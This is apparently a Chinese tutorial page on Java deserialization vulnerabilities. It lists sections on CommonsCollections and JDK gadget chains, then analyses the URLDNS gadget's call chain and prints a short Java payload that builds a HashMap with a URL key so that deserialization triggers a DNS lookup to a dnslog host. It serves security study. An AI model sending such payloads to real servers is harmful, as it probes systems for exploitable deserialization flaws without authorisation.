- 1 序列化与反序列化基础
- 2 漏洞基本原理
- 3 Java 反射
- 4 DNSURL gadget 分析
- 1 背景介绍
- 2 CommonsCollections 1 Gadget 分析
- 3 CommonsCollections 6 Gadget 分析
- 4 CommonsCollections 2&&4 Gadget 分析
- JDK 7U21 Gadget
- 1 原理
- 2 构造
- 3 调用链
- 4 总结
- 1 Java 动态加载字节码
- 2 CommonsCollections 3 Gadget 分析
- 3 CommonsCollections 5 Gadget 分析
- 4 CommonsCollections 7 Gadget 分析
- 反序列化攻击涉及到的相关协议
- 1 RMI
- 2 JNDI
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
4 DNSURL gadget 分析
4.1 调用链
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
payload:
HashMap ht = new HashMap();
URL u = new URL("dnslog");
// 这里在序列化时不发送请求,防止在反序列化探测时误判
Class c = u.getClass();
Field f = c.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(u, 1234);
ht.put(u, "Geekby");
// 把 hashcode 改为 -1,还原
f.set(u, -1);
4.2 分析
首先查看 HashMap 的 ReadObject 方法
339
行:在调用 putVal 方法之前会调用 hash 方法,查看其源代码:
899 - 903
行:如果 key == null
,hashcode 赋值为 0。key 存在的话,则调用 key 的 hashcode 方法。
在本 gadget 中,key 为 URL 对象。接着,跟进 URL 的 hashCode 方法。
URL 类的 hashCode 很简单。如果 hashcode 不为 -1,则返回 hashcode。在序列化构造 payload 的时候,需要设置 hashcode 为 -1 的原因,就是防止进入到 hashcode
方法中,进而发送 DNS 请求,影响判断。
当 hashcode==-1
,调用 handler 的 hashCode 方法。该类的定义在 URL 的构造函数中,主要是根据 scheme 去决定用什么类做 handler。在这里是 URLStreamHandler 类,跟进 URLStreamHandler 的 hashcode 方法。
在第 359 行,调用 getHostAddress
获取域名对应的 IP。
DNSURL 链便是利用该处,来触发 DNSLog 发送请求。
参考
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论